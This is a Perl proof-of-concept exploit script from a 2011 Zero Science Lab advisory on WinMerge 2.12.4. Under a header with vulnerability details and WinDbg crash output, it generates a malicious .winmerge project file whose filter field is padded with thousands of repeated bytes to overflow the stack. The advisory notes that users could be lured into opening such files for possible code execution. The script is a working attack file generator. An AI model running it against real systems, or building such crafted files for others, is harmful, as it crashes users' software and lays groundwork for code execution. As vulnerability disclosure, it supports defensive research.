#!/usr/bin/perl # # # Title: WinMerge v2.12.4 Project File Handling Stack Overflow Vulnerability # # # Vendor: Thingamahoochie Software # Product web page: http://www.winmerge.org # Affected version: 2.12.4.0 Unicode # # Summary: WinMerge is an Open Source differencing and merging tool for Windows. # WinMerge can compare both folders and files, presenting differences in a visual # text format that is easy to understand and handle. WinMerge is highly useful for # determining what has changed between project versions, and then merging changes # between versions. WinMerge can be used as an external differencing/merging tool # or as a standalone application. # # Desc: WinMerge version 2.12.4 suffers from a stack overflow vulnerability because # it fails to properly sanitize user supplied input when parsing .winmerge project # file format resulting in a crash overflowing the memory stack. The attacker can # use this scenario to lure unsuspecting users to open malicious crafted .winmerge # files with a potential for arbitrary code execution on the affected system. # # Tested on: Microsoft Windows XP Professional SP3 (EN) # # -------------------------------------------------------------------------------- # # (e34.10b0): Stack overflow - code c00000fd (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000011 ebx=0001f83c ecx=50000161 edx=7ffe0300 esi=00000000 edi=00c30000 # eip=7c90cf78 esp=00033000 ebp=00033238 iopl=0 nv up ei pl nz na po nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 # ntdll!NtAllocateVirtualMemory+0xa: # 7c90cf78 ff12 call dword ptr [edx] ds:0023:7ffe0300={ntdll!KiFastSystemCall (7c90e510)} # 0:000> g # (e34.10b0): C++ EH exception - code e06d7363 (first chance) # (e34.10b0): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # eax=00000d28 ebx=00523001 ecx=00000000 edx=00000000 esi=00000000 edi=00031ad8 # eip=7c90e8e5 esp=00030c9c ebp=000319d4 iopl=0 nv up ei pl nz ac pe nc # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216 # ntdll!strchr+0xd8: # 7c90e8e5 53 push ebx # # -------------------------------------------------------------------------------- # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # liquidworm gmail com # Zero Science Lab - http://www.zeroscience.mk # # # Advisory ID: ZSL-2010-4997 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4997.php # # # 08.02.2011 # use strict; my $project = "thricer.winmerge"; my $begining = "\x3C\x3F\x78\x6D\x6C\x20\x76\x65\x72\x73\x69\x6F\x6E\x3D\x22\x31\x2E". "\x30\x22\x20\x65\x6E\x63\x6F\x64\x69\x6E\x67\x3D\x22\x55\x54\x46\x2D". "\x38\x22\x20\x73\x74\x61\x6E\x64\x61\x6C\x6F\x6E\x65\x3D\x22\x79\x65". "\x73\x22\x3F\x3E\x0D\x0A\x0D\x0A\x3C\x70\x72\x6F\x6A\x65\x63\x74\x3E". "\x0D\x0A\x20\x20\x20\x3C\x70\x61\x74\x68\x73\x3E\x0D\x0A\x20\x20\x20". "\x20\x20\x20\x3C\x66\x69\x6C\x74\x65\x72\x3E"; my $load = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"; my $ending = "\x2A\x2E\x2A\x3C\x2F\x66\x69\x6C\x74\x65\x72\x3E\x0D\x0A\x20\x20\x20". "\x20\x20\x20\x3C\x73\x75\x62\x66\x6F\x6C\x64\x65\x72\x73\x3E\x30\x3C". "\x2F\x73\x75\x62\x66\x6F\x6C\x64\x65\x72\x73\x3E\x0D\x0A\x20\x20\x20". "\x20\x20\x20\x3C\x6C\x65\x66\x74\x2D\x72\x65\x61\x64\x6F\x6E\x6C\x79". "\x3E\x30\x3C\x2F\x6C\x65\x66\x74\x2D\x72\x65\x61\x64\x6F\x6E\x6C\x79". "\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x3C\x72\x69\x67\x68\x74\x2D\x72". "\x65\x61\x64\x6F\x6E\x6C\x79\x3E\x30\x3C\x2F\x72\x69\x67\x68\x74\x2D". "\x72\x65\x61\x64\x6F\x6E\x6C\x79\x3E\x0D\x0A\x20\x20\x20\x3C\x2F\x70". "\x61\x74\x68\x73\x3E\x0D\x0A\x3C\x2F\x70\x72\x6F\x6A\x65\x63\x74\x3E". "\x0D\x0A"; print "\n\n[*] Buffering \"$project\" file ...\n"; open winmerge, ">./$project" || die "\nCan't open $project: $!"; print winmerge $begining.$load x(2391-142+1000).$ending; sleep 2; print "\n[*] File created successfully!\n\n"; close winmerge;